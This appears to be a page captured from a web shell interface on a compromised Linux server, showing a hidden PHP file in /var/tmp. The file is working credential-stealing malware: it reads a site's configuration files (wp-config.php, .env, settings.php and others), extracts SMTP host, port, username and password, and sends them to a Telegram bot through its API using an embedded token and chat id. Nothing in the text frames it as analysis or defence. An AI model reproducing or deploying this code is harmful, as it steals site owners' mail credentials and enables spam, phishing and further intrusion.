HEX
Server: nginx/1.28.3
System: Linux lightweb-s1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User: dawonefr-98 (1071)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //var/tmp/.reference
<?php 
$paths = [
    "/home/ploi/bumhan.com/public/wp-config.php",
    "/home/ploi/bumhan.com/public/.env",
    "/home/ploi/bumhan.com/public/config.php",
    "/home/ploi/bumhan.com/public/configuration.php",
    "/home/ploi/bumhan.com/public/config/config.php",
    "/home/ploi/bumhan.com/public/app/etc/env.php",
    "/home/ploi/bumhan.com/public/sites/default/settings.php"
];

$host = $port = $user = $pass = $from = "";

foreach ($paths as $path) {
    if (file_exists($path) && is_readable($path)) {
        $c = file_get_contents($path);
        
        if (!$host && preg_match('/["\']?(MAIL_HOST|SMTP_HOST|smtp_host|smtphost)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $host = $m[2];
        if (!$port && preg_match('/["\']?(MAIL_PORT|SMTP_PORT|smtp_port)["\']?\s*[=:>\]\)]+\s*["\']?(\d+)/i', $c, $m)) $port = $m[2];
        if (!$user && preg_match('/["\']?(MAIL_USERNAME|SMTP_USER|smtp_user|smtp_username)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $user = $m[2];
        if (!$pass && preg_match('/["\']?(MAIL_PASSWORD|SMTP_PASS|smtp_pass|smtp_password)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $pass = $m[2];
        if (!$from && preg_match('/["\']?(MAIL_FROM|SMTP_FROM|mailfrom)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $from = $m[2];
    }
}

if ($host && $port && $user && $pass) {
    $domain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'unknown';
    $msg = "SMTP Found!\nDomain: $domain\nHost: $host\nPort: $port\nUser: $user\nPass: $pass";
    if ($from) $msg .= "\nFrom: $from";
    
    $tg = "https://api.telegram.org/bot8214934297:AAHxtAEeAIaw0r0J_gcJ6nmNnmH-0y0wLR0/sendMessage";
    $ch = curl_init($tg);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => "-1003537503195", "text" => $msg]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_exec($ch);
    curl_close($ch);
    
    die('!success!');
}
die('!end!');